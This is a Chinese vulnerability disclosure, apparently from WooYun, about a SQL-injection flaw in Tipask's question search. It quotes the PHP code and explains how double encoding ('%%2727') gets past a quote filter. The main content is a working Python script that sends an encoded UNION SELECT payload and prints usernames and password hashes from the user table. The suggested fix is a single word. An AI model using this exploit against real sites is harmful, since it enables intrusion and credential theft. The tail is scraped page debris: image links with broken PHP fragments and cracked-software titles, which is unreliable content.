2014-04-06:积极联系厂商并且等待厂商认领中,细节不对外公开
2014-07-05:厂商已经主动忽略漏洞,细节向公众公开
某处过滤不全 再次过滤还是未考虑全
详细说明:function onsearch() {
$qstatus = $status = $this->get[3] ? $this->get[3] : 1;
(1 == $status) && ($qstatus = "1,2,6,9");
(2 == $status) && ($qstatus = "2,6");
$word = urldecode($this->post['word'] ? str_replace("%27", "", $this->post['word']) : $this->get[2]);
(!trim($word)) && $this->message("搜索关键词不能为空!", 'BACK');
$navtitle = $word . '-搜索问题';
@$page = max(1, intval($this->get[4]));
$pagesize = $this->setting['list_default'];
$startindex = ($page - 1) * $pagesize;
if (preg_match("/^tag:(.+)/", $word, $tagarr)) {
$tag = $tagarr[1];
$rownum = $_ENV['question']->rownum_by_tag($tag, $qstatus);
$questionlist = $_ENV['question']->list_by_tag($tag, $qstatus, $startindex, $pagesize);
} else {
$questionlist = $_ENV['question']->search_title($word, $qstatus, 0, $startindex, $pagesize);
$rownum = $_ENV['question']->search_title_num($word, $qstatus);
}
$related_words = $_ENV['question']->get_related_words();
$hot_words = $_ENV['question']->get_hot_words();
$corrected_words = $_ENV['question']->get_corrected_word($word);
$departstr = page($rownum, $pagesize, $page, "question/search/$word/$status");
include template('search');
传进来的参数是urlencode的 然后绕过了gpc,传进来的过滤了%27,那么%%2727就可以绕过。
然后就是注入了。
#coding=GBK
import requests
import re
payload = {'word':'61%64%6D%69%6E%%2727%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%31%2C%32%2C%33%2C%34%2C%35%2C%36%2C%37%2C%38%2C%63%6F%6E%63%61%74%28%75%73%65%72%6E%61%6D%65%2C%30%78%32%34%2C%70%61%73%73%77%6F%72%64%29%2C%31%30%2C%31%31%2C%31%32%2C%31%33%2C%31%34%2C%31%35%2C%31%36%2C%31%37%2C%31%38%2C%31%39%2C%32%30%20%66%72%6F%6D%20%61%73%6B%5F%75%73%65%72%20%23'}
html = requests.post('http://localhost/tipask/?question/search/',params=payload).text
all = re.findall("(\w+?)\$(\w+)", html)
for username, password in all:
print username, password修复方案:
过滤
版权声明:转载请注明来源 evil4hi@乌云 漏洞回应 厂商回应:未能联系到厂商或者厂商积极拒绝
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;

![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)